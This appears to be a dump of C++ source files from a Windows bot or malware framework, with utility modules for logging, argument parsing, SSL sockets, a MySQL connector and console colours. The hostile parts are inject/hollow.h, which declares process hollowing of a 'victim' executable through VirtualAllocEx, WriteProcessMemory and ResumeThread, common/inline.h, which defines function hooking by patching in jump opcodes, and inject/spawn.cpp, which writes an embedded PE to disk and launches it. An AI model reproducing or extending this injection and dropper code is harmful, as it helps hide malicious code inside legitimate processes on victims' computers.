(mz_ulong)size; 36 | 37 | unsigned char *compressed_buffer = (unsigned char *)**this->RawData; 38 | unsigned char *decompressed_buffer = (unsigned char *)mem::malloc(this->decomp_len); 39 | 40 | int cmp_status = miniz_uncompress(decompressed_buffer, &this->decomp_len, 41 | compressed_buffer, (mz_ulong)size); 42 | if (cmp_status != miniz_MZ_OK) { 43 | mem::free(decompressed_buffer); 44 | return false; 45 | } 46 | 47 | this->ProcessedData = new mem::buffer2(decompressed_buffer, this->decomp_len); 48 | this->is_decompressed = true; 49 | 50 | return true; 51 | } 52 | 53 | -------------------------------------------------------------------------------- /debug/debug.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "debug/debug.h" 5 | #include "api.h" 6 | #include "common/mem.h" 7 | 8 | #ifdef DEBUG_OUT/* 9 | VOID debug::debug_print(char *FormatString, ...) 10 | { 11 | CHAR dbgout[1024]; 12 | va_list vaList; 13 | LPSTR output; 14 | //BREAK; 15 | 16 | mem::zeromem(dbgout, sizeof(dbgout)); 17 | 18 | va_start(vaList, FormatString); 19 | //nop; 20 | wvsprintfA(dbgout, FormatString, vaList); 21 | //nop; 22 | cOutputDebugStringA(dbgout); 23 | //nop; 24 | va_end(vaList); 25 | //nop; 26 | 27 | return; 28 | }*/ 29 | VOID debug::debug_print(LPCSTR FormatString, ...) 30 | { 31 | va_list args; 32 | va_start(args, FormatString); 33 | 34 | UCHAR buffer[1024]; 35 | mem::zeromem(buffer, sizeof(buffer)); 36 | 37 | INT buffer_count = cvsnprintfA((char *)buffer, sizeof(buffer) - 1, FormatString, args); 38 | 39 | cOutputDebugStringA((LPSTR)buffer); 40 | 41 | va_end(args); 42 | 43 | return; 44 | } 45 | 46 | #endif 47 | /* 48 | void XTrace(LPCTSTR lpszFormat, ...) 49 | { 50 | va_list args; 51 | va_start(args, lpszFormat); 52 | int nBuf; 53 | TCHAR szBuffer[512]; // get rid of this hard-coded buffer 54 | nBuf = _vsntprintf(szBuffer, 511, lpszFormat, args); 55 | ::OutputDebugString(szBuffer); 56 | va_end(args); 57 | }*/ 58 | 59 | /* 60 | void FormatOutput(LPCSTR formatstring, ...) 61 | { 62 | int nSize = 0; 63 | char buff[10]; 64 | memset(buff, 0, sizeof(buff)); 65 | va_list args; 66 | va_start(args, formatstring); 67 | nSize = vsnprintf( buff, sizeof(buff) - 1, formatstring, args); // C4996 68 | // Note: vsnprintf is deprecated; consider vsnprintf_s instead 69 | printf("nSize: %d, buff: %s\n", nSize, buff); 70 | } 71 | */ -------------------------------------------------------------------------------- /common/sync.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | /* 7 | #ifdef USE_PE32 8 | #error "USE_PE32 already defined" 9 | #endif 10 | #define USE_PE32 11 | */ 12 | 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | #ifndef CONFIG_OK 20 | #include "../config.h" 21 | #endif 22 | 23 | #ifndef DISABLE_LIBRARY_INFO 24 | #ifdef CONFIG_COMPILE64 25 | #pragma message (OUTPUT_PRIMARY "sync: Loading standard sync module (64)") 26 | #else 27 | #pragma message (OUTPUT_PRIMARY "sync: Loading standard sync module (32)") 28 | #endif 29 | #endif 30 | 31 | #include "common/str.h" 32 | #include "common/mem.h" 33 | 34 | namespace sync { 35 | 36 | class sync { 37 | protected: 38 | bool object_ok; 39 | 40 | bool get_is_ok(void) const 41 | { 42 | return this->object_ok; 43 | } 44 | 45 | public: 46 | // Sync virtual functions 47 | virtual void sync_enter(void) const = 0; 48 | virtual void sync_leave(void) const = 0; 49 | }; 50 | 51 | class mutex : public sync { 52 | 53 | // Sync functions 54 | public: 55 | mutex::mutex(__inopt str_string *name); 56 | 57 | virtual void sync_enter(void) const; 58 | virtual void sync_leave(void) const; 59 | 60 | virtual ~mutex(void) 61 | { 62 | 63 | } 64 | }; 65 | 66 | class critical_section : public sync { 67 | private: 68 | PCRITICAL_SECTION sync_object; 69 | 70 | // Sync functions 71 | public: 72 | critical_section::critical_section(types::DEFAULT_NO_PARAMETERS); 73 | 74 | virtual void sync_enter(void) const; 75 | virtual void sync_leave(void) const; 76 | 77 | virtual ~critical_section(void); 78 | 79 | PCRITICAL_SECTION get_critical_section(void) const; 80 | }; 81 | } -------------------------------------------------------------------------------- /common/log.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifdef CONFIG_COMPILE64 13 | #pragma message (OUTPUT_PRIMARY "log: Compiling 64-bit") 14 | #else 15 | #pragma message (OUTPUT_PRIMARY "log: Compiling 32-bit.") 16 | #endif 17 | 18 | //#include "phi.h" 19 | 20 | #include "log.h" 21 | 22 | #include "api.h" 23 | #include "common/mem.h" 24 | #include "debug/debug.h" 25 | 26 | logger *default_log = NULL; 27 | 28 | VOID log_tools::init(VOID) 29 | { 30 | if (default_log == NULL) { 31 | default_log = (logger *)mem::malloc(sizeof(logger)); 32 | default_log->init(); 33 | } 34 | } 35 | 36 | VOID logger::init(VOID) 37 | { 38 | this->is_active = true; 39 | } 40 | 41 | logger *get_default_log(VOID) 42 | { 43 | if (default_log == NULL) { 44 | log_tools::init(); 45 | } 46 | 47 | return default_log; 48 | } 49 | 50 | VOID logger::append_text(LPCSTR buffer, UINT length) 51 | { 52 | if (buffer == NULL || length == 0) return; 53 | 54 | #ifdef DEBUG_OUT 55 | DBGOUT("log: %s", buffer); 56 | #endif 57 | 58 | // Get to the last LOG_ITEM 59 | PLOG_ITEM current_item = this->first_item; 60 | if (current_item == NULL) { 61 | this->first_item = current_item = (PLOG_ITEM)mem::malloc(sizeof(LOG_ITEM)); 62 | } else { 63 | while (current_item->next != NULL) current_item = current_item->next; 64 | 65 | current_item->next = (PLOG_ITEM)mem::malloc(sizeof(LOG_ITEM)); 66 | current_item = current_item->next; 67 | } 68 | 69 | current_item->buffer = (LPSTR)mem::malloc(length + str::ASCII_CHAR); 70 | current_item->size = length; 71 | mem::copy(current_item->buffer, buffer, length); 72 | 73 | cGetSystemTime(¤t_item->time); 74 | 75 | return; 76 | } -------------------------------------------------------------------------------- /external/ssl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // ssl.h 4 | #include 5 | //#include 6 | #include 7 | #include 8 | #include 9 | #define SECURITY_WIN32 10 | #include 11 | #include 12 | 13 | #include "z.h" 14 | 15 | #pragma comment(lib, "crypt32.lib") 16 | 17 | namespace s_socket { 18 | 19 | class SSL_SOCKET 20 | { 21 | public: 22 | 23 | SSL_SOCKET(SOCKET,int,PCCERT_CONTEXT = 0); 24 | void SetDestinationName(TCHAR* n); 25 | int ClientInit(bool = false); 26 | int ClientLoop(); 27 | int ServerInit(bool = false); 28 | int ServerLoop(); 29 | 30 | ~SSL_SOCKET(); 31 | int s_rrecv(char *b, int sz); 32 | int s_ssend(char* b, int sz); 33 | int s_recv(char *b, int sz); 34 | int s_send(char* b, int sz); 35 | int rrecv_p(char *b, int sz); 36 | int ssend_p(char* b, int sz); 37 | int recv_p(char *b, int sz); 38 | int send_p(char* b, int sz); 39 | 40 | int ClientOff(); 41 | int ServerOff(); 42 | 43 | SECURITY_STATUS Verify(PCCERT_CONTEXT); 44 | SECURITY_STATUS VerifySessionCertificate(); 45 | void GetCertificateInfoString(TCHAR* s); 46 | PCCERT_CONTEXT CreateOurCertificate(); 47 | void NoFail(HRESULT); 48 | 49 | 50 | 51 | 52 | private: 53 | int Type; 54 | SOCKET X; 55 | HCERTSTORE hCS; 56 | SCHANNEL_CRED m_SchannelCred; 57 | CredHandle hCred; 58 | CtxtHandle hCtx; 59 | TCHAR dn[1000]; 60 | SecBufferDesc sbin; 61 | SecBufferDesc sbout; 62 | bool InitContext; 63 | Z ExtraData; 64 | int ExtraDataSize; 65 | Z PendingRecvData; 66 | int PendingRecvDataSize; 67 | PCCERT_CONTEXT OurCertificate; 68 | bool IsExternalCert; 69 | // Z ExtraDataSec; 70 | // int ExtraDataSecSize; 71 | 72 | 73 | }; 74 | 75 | } 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /core/resource.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "api.h" 12 | #include "common/mem.h" 13 | #include "common/str.h" 14 | 15 | #ifndef CONFIG_OK 16 | #include "../config.h" 17 | #endif 18 | 19 | #ifdef CONFIG_COMPILE64 20 | #pragma message (OUTPUT_PRIMARY "Resource: Loading standard module (64)") 21 | #else 22 | #pragma message (OUTPUT_PRIMARY "Resource: Loading standard module (32)") 23 | #endif 24 | 25 | namespace resource { 26 | 27 | class instance { 28 | private: 29 | Ptr Name; 30 | WORD id; 31 | 32 | HMODULE current_module; 33 | 34 | Ptr RawData; 35 | 36 | typedef struct handles { 37 | HRSRC resource_handle; 38 | HGLOBAL global_handle; 39 | 40 | handles(VOID) 41 | { 42 | resource_handle = NULL; 43 | global_handle = NULL; 44 | } 45 | } HANDLES, *PHANDLES; 46 | Ptr Handles; 47 | 48 | public: 49 | instance(__in const LPSTR name, __in const WORD id); 50 | 51 | ~instance(types::DEFAULT_NO_PARAMETERS) 52 | { 53 | if (this->Handles->global_handle != NULL) { 54 | 55 | } 56 | } 57 | 58 | mem::buffer2 *get_buffer_(types::DEFAULT_NO_PARAMETERS) const 59 | { 60 | return this->RawData.get_value(); 61 | } 62 | 63 | UINT get_size(types::DEFAULT_NO_PARAMETERS) const 64 | { 65 | return this->RawData->get_raw_size(); 66 | } 67 | 68 | LPVOID get_buffer(types::DEFAULT_NO_PARAMETERS) const 69 | { 70 | return this->RawData->get_raw_buffer(); 71 | } 72 | 73 | bool get_is_ok(types::DEFAULT_NO_PARAMETERS) const 74 | { 75 | if (this->Handles->global_handle != NULL) { 76 | return true; 77 | } 78 | 79 | return false; 80 | } 81 | 82 | // Adds a NULL byte to the end of the resource (used for string parsing) 83 | void add_null(types::DEFAULT_NO_PARAMETERS); 84 | }; 85 | }; -------------------------------------------------------------------------------- /core/db.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef _WINDOWS_ 4 | #include 5 | #endif 6 | 7 | #include 8 | 9 | #ifndef CONFIG_OK 10 | #include "../config.h" 11 | #endif 12 | 13 | #ifndef DISABLE_LIBRARY_INFO 14 | #ifdef CONFIG_COMPILE64 15 | #pragma message (OUTPUT_PRIMARY "SQL Connector") 16 | #else 17 | #pragma message (OUTPUT_PRIMARY "SQL Connector") 18 | #endif 19 | #endif 20 | 21 | #pragma warning(disable: 4251) 22 | 23 | #include "mysql_connection.h" 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #include "common/mem.h" 31 | #include "common/str.h" 32 | 33 | namespace db { 34 | 35 | // Connection instance class 36 | class connection_instance; 37 | typedef Ptr ConnectionInstance; 38 | 39 | class connection_instance { 40 | protected: 41 | sql::Driver *sql_driver; 42 | sql::Connection *sql_connection; 43 | 44 | StrString ConnectionData; 45 | StrString Database; 46 | StrString User; 47 | StrString Pass; 48 | 49 | // Executed statement vectors 50 | std::vector *sql_prepared_statements; 51 | std::vector *sql_result_sets; 52 | std::map *sql_pairings; 53 | 54 | public: 55 | connection_instance::connection_instance( 56 | __in const str_string& address, 57 | __in const WORD port, 58 | __in const str_string& database_name, 59 | __in const str_string& user_name, 60 | __in const str_string& user_pass); 61 | connection_instance::connection_instance(void) 62 | { 63 | delete this->sql_prepared_statements; 64 | delete this->sql_result_sets; 65 | //delete this->sql_pairings; 66 | } 67 | 68 | bool connect(void); 69 | 70 | // Inserts a value 71 | bool insert(__in const str_string& statement); 72 | 73 | // Get count (number of elements in a table) 74 | UINT get_count(__in const str_string& table) const; 75 | 76 | sql::Connection *get_connection(void) const 77 | { 78 | return this->sql_connection; 79 | } 80 | }; 81 | 82 | 83 | } -------------------------------------------------------------------------------- /core/args.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | #include "args.h" 6 | 7 | #include "common/str.h" 8 | 9 | using namespace args; 10 | 11 | argument_array::argument_array(int c, char* v[], enum switch_style style) 12 | { 13 | this->is_ok = false; 14 | this->number_of_arguments = c; 15 | this->ElementArray = new std::vector; 16 | 17 | // Get the name of the running process file location 18 | RunningProgramLocation = new str_string(v[0]); 19 | 20 | if (c == 0) { 21 | this->is_ok = true; 22 | return; 23 | } 24 | 25 | if (style == switch_style::SWITCH_STYLE_SWITCHES) { 26 | for (int i = 1; i < c; i++) { 27 | // Sanity 28 | if (v[i][0] == '\0' || str::lenA(v[i]) > args::max_amount_per_elem) { 29 | this->clear_elements(*ElementArray); 30 | return; 31 | } 32 | 33 | PELEMENT current_element = (PELEMENT)mem::malloc(sizeof(ELEMENT)); 34 | 35 | // Get the switch 36 | current_element->switch_data = v[i][1]; 37 | 38 | // Get the switch data 39 | current_element->data = (LPSTR)mem::malloc(str::lenA(&v[++i][0]) + str::ASCII_CHAR); 40 | mem::copy(current_element->data, &v[i][0], str::lenA(&v[i][0])); 41 | 42 | this->ElementArray->push_back(current_element); 43 | } 44 | } else if (style == switch_style::SWITCH_STYLE_NO_SWITCHES) { 45 | //FIXME 46 | DebugBreak(); 47 | } else { 48 | //FIXME 49 | DebugBreak(); 50 | } 51 | 52 | 53 | 54 | return; 55 | } 56 | 57 | void argument_array::clear_elements(__inout std::vector elements) 58 | { 59 | if (elements.size() == 0) { 60 | return; 61 | } 62 | 63 | for (std::vector::iterator i = elements.begin(); 64 | i != elements.end(); 65 | i++) 66 | { 67 | if (this->switch_style == switch_style::SWITCH_STYLE_NO_SWITCHES) { 68 | mem::free((*i)->data); 69 | 70 | (*i)->data = 0; 71 | } else if (this->switch_style == switch_style::SWITCH_STYLE_SWITCHES) { 72 | mem::free((*i)->data); 73 | 74 | (*i)->data = 0; 75 | (*i)->switch_data = 0; 76 | } else { 77 | //FIXME 78 | DebugBreak(); 79 | } 80 | 81 | } 82 | 83 | elements.clear(); 84 | 85 | return; 86 | } 87 | 88 | const LPSTR argument_array::get_value_for_switch(__in const CHAR switch_value) 89 | { 90 | if (this->ElementArray->size() == 0) { 91 | return NULL; 92 | } 93 | 94 | for (std::vector::const_iterator i = this->ElementArray->begin(); 95 | i != ElementArray->end(); i++) 96 | { 97 | if (switch_value == (*i)->switch_data) { 98 | return (*i)->data; 99 | } 100 | } 101 | 102 | return NULL; 103 | } -------------------------------------------------------------------------------- /core/args.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifndef DISABLE_LIBRARY_INFO 13 | #ifdef CONFIG_COMPILE64 14 | #pragma message (OUTPUT_PRIMARY "args: Compiling 64-bit") 15 | #else 16 | #pragma message (OUTPUT_PRIMARY "args: Compiling 32-bit.") 17 | #endif 18 | #endif 19 | 20 | #include "common/str.h" 21 | 22 | // Sanitize input 23 | #define MAX_ARGUMENT_LENGTH 128 24 | #define MAX_AMOUNT_OF_ARGS 32 25 | #define MAX_AMOUNT_OF_ELE MAX_AMOUNT_OF_ARGS / 2 26 | #define MAX_AMOUNT_PER_ELEM MAX_PATH // Just set it to the max filename path 27 | 28 | // Permanent constants 29 | #define ARG_DASH '-' 30 | #define ARG_SWITCH_MAX_SIZE 1 // so a switch can only be like -m, not -mm 31 | 32 | 33 | namespace args 34 | { 35 | static const UINT max_agrument_length = MAX_ARGUMENT_LENGTH; 36 | static const UINT max_amount_of_args = MAX_AMOUNT_OF_ARGS; 37 | static const UINT max_amount_of_ele = MAX_AMOUNT_OF_ELE; 38 | static const UINT max_amount_per_elem = MAX_AMOUNT_PER_ELEM; 39 | 40 | static const CHAR arg_dash = ARG_DASH; 41 | static const INT arg_switch_max_size = ARG_SWITCH_MAX_SIZE; 42 | 43 | 44 | enum switch_style { 45 | SWITCH_STYLE_SWITCHES, 46 | SWITCH_STYLE_NO_SWITCHES 47 | }; 48 | 49 | class argument_array; 50 | 51 | 52 | class argument_array { 53 | private: 54 | typedef struct element { 55 | CHAR switch_data; 56 | LPSTR data; 57 | 58 | element(void) 59 | { 60 | switch_data = 0; 61 | data = NULL; 62 | } 63 | } ELEMENT, *PELEMENT; 64 | 65 | bool is_ok; 66 | 67 | UINT number_of_arguments; 68 | 69 | StrString RunningProgramLocation; 70 | 71 | Ptr> ElementArray; 72 | 73 | // Do we use switches like -m/-q or just names like blablablafilename 74 | bool switch_style; 75 | 76 | public: 77 | // Style is the switch_style enum 78 | argument_array(int c, char* v[], enum switch_style style); 79 | 80 | 81 | bool get_is_ok(void) const 82 | { 83 | return this->is_ok; 84 | } 85 | 86 | UINT get_total_args(VOID) const 87 | { 88 | return this->number_of_arguments; 89 | } 90 | 91 | UINT get_total_elements(VOID) const 92 | { 93 | return this->ElementArray->size(); 94 | } 95 | 96 | const str_string& get_running_location(void) const 97 | { 98 | return *RunningProgramLocation; 99 | } 100 | 101 | const LPSTR get_value_for_switch(__in const CHAR switch_value); 102 | 103 | private: 104 | void clear_elements(__inout std::vector elements); 105 | }; 106 | 107 | 108 | 109 | } -------------------------------------------------------------------------------- /debug/console.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef _WINDOWS_ 4 | #include 5 | #endif 6 | 7 | #include 8 | 9 | #ifndef CONFIG_OK 10 | #include "../config.h" 11 | #endif 12 | 13 | namespace console { 14 | #ifndef CONCOL 15 | #define CONCOL 16 | enum concol 17 | { 18 | black=0, 19 | dark_blue=1, 20 | dark_green=2, 21 | dark_aqua,dark_cyan=3, 22 | dark_red=4, 23 | dark_purple=5,dark_pink=5,dark_magenta=5, 24 | dark_yellow=6, 25 | dark_white=7, 26 | gray=8, 27 | blue=9, 28 | green=10, 29 | aqua=11,cyan=11, 30 | red=12, 31 | purple=13,pink=13,magenta=13, 32 | yellow=14, 33 | white=15 34 | }; 35 | #endif //CONCOL 36 | 37 | HANDLE std_con_out; 38 | //Standard Output Handle 39 | bool colorprotect=false; 40 | //If colorprotect is true, background and text colors will never be the same 41 | concol textcol,backcol,deftextcol,defbackcol; 42 | /*textcol - current text color 43 | backcol - current back color 44 | deftextcol - original text color 45 | defbackcol - original back color*/ 46 | 47 | inline void update_colors() 48 | { 49 | CONSOLE_SCREEN_BUFFER_INFO csbi; 50 | GetConsoleScreenBufferInfo(std_con_out,&csbi); 51 | textcol = concol(csbi.wAttributes & 15); 52 | backcol = concol((csbi.wAttributes & 0xf0)>>4); 53 | } 54 | 55 | inline void setcolor(concol textcolor,concol backcolor) 56 | { 57 | if(colorprotect && textcolor==backcolor)return; 58 | textcol=textcolor;backcol=backcolor; 59 | unsigned short wAttributes=((unsigned int)backcol<<4) | (unsigned int)textcol; 60 | SetConsoleTextAttribute(std_con_out,wAttributes); 61 | } 62 | 63 | inline void settextcolor(concol textcolor) 64 | { 65 | if(colorprotect && textcolor==backcol)return; 66 | textcol=textcolor; 67 | unsigned short wAttributes=((unsigned int)backcol<<4) | (unsigned int)textcol; 68 | SetConsoleTextAttribute(std_con_out,wAttributes); 69 | } 70 | 71 | inline void setbackcolor(concol backcolor) 72 | { 73 | if(colorprotect && textcol==backcolor)return; 74 | backcol=backcolor; 75 | unsigned short wAttributes=((unsigned int)backcol<<4) | (unsigned int)textcol; 76 | SetConsoleTextAttribute(std_con_out,wAttributes); 77 | } 78 | 79 | inline void concolinit() 80 | { 81 | std_con_out=GetStdHandle(STD_OUTPUT_HANDLE); 82 | update_colors(); 83 | deftextcol=textcol;defbackcol=backcol; 84 | } 85 | 86 | template 87 | inline std::basic_ostream& operator<<(std::basic_ostream& os,concol col) 88 | {os.flush();settextcolor(col);return os;} 89 | 90 | template 91 | inline std::basic_istream& operator>>(std::basic_istream& is,concol col) 92 | { 93 | std::basic_ostream* p=is.tie(); 94 | if(p!=NULL)p->flush(); 95 | settextcolor(col); 96 | return is; 97 | } 98 | } -------------------------------------------------------------------------------- /inject/hollow.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #ifndef CONFIG_OK 12 | #include "../config.h" 13 | #endif 14 | 15 | #ifndef DISABLE_LIBRARY_INFO 16 | #ifdef CONFIG_COMPILE64 17 | #pragma message (OUTPUT_PRIMARY "hollow: Loading standard memory module (64)") 18 | #else 19 | #pragma message (OUTPUT_PRIMARY "hollow: Loading standard memory module (32)") 20 | #endif 21 | #endif 22 | 23 | //#include "error.h" 24 | #include "api.h" 25 | #include "common/mem.h" 26 | #include "common/fs.h" 27 | 28 | #pragma once 29 | 30 | namespace hollow 31 | { 32 | 33 | // Error handling 34 | #define CHECK_STATUS(x) if (x != error::ER_HOLLOW_OK) { return x; } 35 | 36 | // API 37 | #define HOLLOW_ZEROMEM mem::zeromem 38 | #define HOLLOW_FREE mem::free 39 | #define HOLLOW_LOADRAWFILE fs::read_raw_into_buffer 40 | #define HOLLOW_CREATEPROCESSA cCreateProcessA 41 | #define HOLLOW_MALLOC mem::malloc 42 | #define HOLLOW_MEMCPY mem::copy 43 | #define HOLLOW_VIRTALLOCEX cVirtualAllocEx 44 | #define HOLLOW_WRITEPROCMEM cWriteProcessMemory 45 | #define HOLLOW_RESTHREAD cResumeThread 46 | #define HOLLOW_QUERYPROC cZwQueryInformationProcess 47 | #define HOLLOW_READPROCMEM cReadProcessMemory 48 | 49 | 50 | #define HOLLOW_OPCODE 0xe8 51 | 52 | #ifndef ERROR_CODE 53 | #define ERROR_CODE UINT 54 | #endif 55 | 56 | // Hollow entry point 57 | ERROR_CODE entry(__in LPCVOID raw_image, __in LPCSTR target); 58 | 59 | // Checks if there is a problem in opening the victim file 60 | ERROR_CODE pretest(LPCSTR target); 61 | 62 | // Checks PE header integrity 63 | ERROR_CODE check_pe(LPCVOID raw_image); 64 | 65 | // Sets up the virtual image from the raw image 66 | ERROR_CODE setup_virtual_image( __in LPCVOID raw_image, 67 | __out LPVOID *virtual_image, 68 | __out PUINT virtual_image_size); 69 | 70 | // Inject the code 71 | ERROR_CODE inject(PPROCESS_INFORMATION process, LPCVOID virtual_image, UINT virtual_image_size); 72 | 73 | // Get base address 74 | DWORD find_base(LPCVOID virtual_image); 75 | 76 | // Remote host OEP 77 | DWORD get_remote_host_oep(PPROCESS_INFORMATION process); 78 | 79 | // Get local OEP 80 | LPTHREAD_START_ROUTINE find_oep(LPCVOID virtual_image); 81 | 82 | class hl_instance; 83 | 84 | class hl_instance { 85 | private: 86 | StrString TargetFile; 87 | Buffer2 RawPE; 88 | 89 | public: 90 | hl_instance::hl_instance(__in const str_string& target_file, 91 | __in const mem::buffer2& raw_pe); 92 | 93 | bool test_target(void) const 94 | { 95 | ERROR_CODE pretest_status = pretest(**TargetFile); 96 | if (pretest_status != error::ER_HOLLOW_OK) { 97 | return false; 98 | } 99 | 100 | return true; 101 | } 102 | 103 | bool hollow_target(void); 104 | 105 | }; 106 | }; -------------------------------------------------------------------------------- /common/inline.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #pragma once 4 | 5 | #ifndef CONFIG_OK 6 | #include "../config.h" 7 | #endif 8 | 9 | #ifndef __cplusplus 10 | #define __cplusplus 11 | #endif 12 | 13 | #ifdef CONFIG_COMPILE64 14 | #pragma message ("WIN64_OVERRIDE defined in inline.h. Testing only.") 15 | #else 16 | #ifndef BREAK 17 | #define BREAK __asm{ int 3 } 18 | #else 19 | #pragma message ("WIN64_OVERRIDE not defined (inline)") 20 | #endif 21 | 22 | #ifndef NOP 23 | #define NOP __asm{nop} 24 | #endif 25 | #endif 26 | 27 | 28 | // For patching: use interrupt instead of nop 29 | #define NSPR_USE_PATCH_INTERRUPT false; 30 | 31 | 32 | namespace inline_asm { 33 | typedef DWORD ASM_ERROR; 34 | enum { 35 | ER_ASM_OK, 36 | ER_ASM_GENERAL_FAILURE, 37 | ER_ASM_PATCH 38 | }; 39 | 40 | typedef BYTE OPCODE, *POPCODE; 41 | typedef BYTE OPCODE_BYTE, *POPCODE_BYTE; 42 | typedef WORD OPCODE_WORD, *POPCODE_WORD; 43 | typedef WORD OPCODE_MODRM, *POPCODE_MODRM; 44 | typedef DWORD OPCODE_DWORD, *POPCODE_DWORD; 45 | typedef DWORD OPERAND_DWORD, *POPERAND_DWORD; 46 | 47 | // Opcodes 48 | static const OPCODE_BYTE nspr_mov_eax_opcode = 0xb8; 49 | static const OPCODE_MODRM nspr_jmp_eax_opcode = 0xe0ff; 50 | static const OPCODE_BYTE nspr_jmp_rel32_opcode = 0xe9; 51 | static const OPCODE_BYTE nspr_nop_opcode = 0x90; 52 | static const OPCODE_BYTE nspr_int3_opcode = 0xcc; 53 | 54 | typedef struct opcode_data { 55 | UINT size; 56 | PBYTE buffer; 57 | } OPCODE_DATA, *POPCODE_DATA; 58 | 59 | enum opcode_index { 60 | OPCODE_MOV_EAX, 61 | OPCODE_JMP_EAX, 62 | OPCODE_JMP_REL32, 63 | OPCODE_NOP, 64 | OPCODE_INT3 65 | }; 66 | 67 | // Installs an interrupt on the patched code, instead of nop 68 | const bool use_interrupt = NSPR_USE_PATCH_INTERRUPT; 69 | 70 | // Size of operand32 71 | const UINT operand32_size = sizeof(DWORD); 72 | 73 | const OPCODE_DATA opcode_list[sizeof(opcode_index) + 1] = { 74 | {1, (PBYTE)&nspr_mov_eax_opcode}, 75 | {2, (PBYTE)&nspr_jmp_eax_opcode}, 76 | {1, (PBYTE)&nspr_jmp_rel32_opcode}, 77 | {1, (PBYTE)&nspr_nop_opcode}, 78 | {1, (PBYTE)&nspr_int3_opcode} 79 | }; 80 | 81 | typedef struct hook_info { 82 | LPVOID function_address; 83 | LPVOID handler_address; 84 | LPVOID patch_buffer; 85 | LPVOID return_address; 86 | UINT patch_inst_len; 87 | } HOOK_INFO, *PHOOK_INFO; 88 | 89 | ASM_ERROR hook_intro(__inout PHOOK_INFO hook_info); 90 | 91 | // Disassembler 92 | typedef DWORD DISASM_ERROR; 93 | enum { 94 | DISASM_ER_OK, 95 | DISASM_ER_FAIL 96 | }; 97 | 98 | DISASM_ERROR disasm_get_amount_to_patch(__in LPVOID address, __in UINT min_bytes_to_patch, __out PUINT amount_to_patch); 99 | }; 100 | 101 | #ifdef __cplusplus 102 | extern "C" { 103 | #endif 104 | 105 | // Returns kernel32 106 | HMODULE get_kernel32_base32(VOID); 107 | 108 | // Returns local base 109 | HMODULE get_local_dll_base(VOID); 110 | } -------------------------------------------------------------------------------- /inject/spawn.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include 6 | 7 | #include "api.h" 8 | 9 | #include "spawn.h" 10 | #include "debug/assert.h" 11 | 12 | namespace spawn { 13 | PCRITICAL_SECTION sync_proc_list; 14 | bool engine_ok = false; 15 | Ptr> SpawnedProcesses; 16 | } 17 | 18 | using namespace spawn; 19 | 20 | void spawn::init(void) 21 | { 22 | spawn::SpawnedProcesses = new std::vector(); 23 | spawn::sync_proc_list = (PCRITICAL_SECTION)mem::malloc(sizeof(CRITICAL_SECTION)); 24 | cInitializeCriticalSection(sync_proc_list); 25 | 26 | engine_ok = true; 27 | } 28 | 29 | createprocess::createprocess(__in const mem::buffer2& raw_pe, __in const str_string& name) 30 | { 31 | ASSERT(spawn::get_is_engine_ok() == true, "spawn: Engine not initialized"); 32 | 33 | this->RawPE = new mem::buffer2(raw_pe.get_raw_buffer(), raw_pe.get_raw_size()); 34 | this->process_handle = INVALID_HANDLE_VALUE; 35 | this->ModuleName = new str_string(name.to_lpstr()); 36 | 37 | this->proc_info = (PPROCESS_INFORMATION)mem::malloc(sizeof(PROCESS_INFORMATION)); 38 | this->startup_info = (STARTUPINFOA *)mem::malloc(sizeof(STARTUPINFOA)); 39 | 40 | return; 41 | } 42 | 43 | bool createprocess::process(void) 44 | { 45 | StrString FileName = new str_string(**this->ModuleName); 46 | FileName->add_to_prepend("C:\\Users\\dev\\Desktop\\bot_test\\"); 47 | FileName->add_to_append(".exe"); 48 | 49 | #ifdef SPAWN_TEST 50 | MessageBoxA(NULL, **FileName, "Spawn: CreateProcess", MB_OK); 51 | return true; 52 | #endif 53 | 54 | cDeleteFileA(FileName->to_lpstr()); 55 | 56 | HANDLE file_handle = cCreateFileA(**FileName, 57 | GENERIC_WRITE | GENERIC_READ, 58 | 0, 59 | NULL, 60 | CREATE_ALWAYS, 61 | FILE_ATTRIBUTE_NORMAL, 62 | NULL); 63 | if (file_handle == INVALID_HANDLE_VALUE) { 64 | return false; 65 | } 66 | 67 | DWORD written = 0; 68 | BOOL write_status = 69 | cWriteFile(file_handle, (LPCVOID)RawPE->get_raw_buffer(), RawPE->get_raw_size(), &written, NULL); 70 | if (write_status == FALSE) { 71 | return false; 72 | } 73 | 74 | cCloseHandle(file_handle); 75 | 76 | BOOL create_status = cCreateProcessA( NULL, 77 | **FileName, 78 | NULL, 79 | NULL, 80 | FALSE, 81 | CREATE_NEW_CONSOLE, 82 | NULL, 83 | NULL, 84 | this->startup_info, 85 | this->proc_info); 86 | if (create_status == FALSE) { 87 | return false; 88 | } 89 | 90 | this->process_handle = this->proc_info->hProcess; 91 | 92 | return true; 93 | } 94 | 95 | bool spawn_process::kill_process(__inout HANDLE *proc_handle) 96 | { 97 | BOOL term_status = TerminateProcess(*proc_handle, 0); 98 | if (term_status == FALSE) { 99 | return false; 100 | } 101 | 102 | *proc_handle = INVALID_HANDLE_VALUE; 103 | 104 | return true; 105 | } -------------------------------------------------------------------------------- 